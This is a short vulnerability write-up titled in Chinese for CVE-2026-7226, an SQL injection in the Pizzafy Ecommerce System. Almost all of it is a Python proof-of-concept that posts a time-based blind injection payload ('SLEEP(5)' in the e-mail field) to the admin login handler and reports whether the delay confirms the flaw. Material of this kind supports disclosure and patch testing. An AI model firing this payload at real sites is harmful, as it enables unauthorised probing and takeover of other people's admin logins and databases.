CVE-2026-7226 Pizzafy电商系统SQL注入漏洞

import requests def exploit_sqli(target_url): """ PoC for CVE-2026-7226 SQL Injection in Pizzafy Ecommerce System Target: /admin/ajax.php?action=login2 Parameter: e-mail """ url = f"{target_url}/admin/ajax.php" # Payload for time-based blind SQL injection # Checks if the database waits for 5 seconds payload = { "action": "login2", "e-mail": "[email protected]' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -", "password": "test" } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, data=payload, timeout=10) # Analyze response time if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Database responded with delay.") else: print("[-] Vulnerability not detected or patch applied.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") # Usage # exploit_sqli("http://127.0.0.1")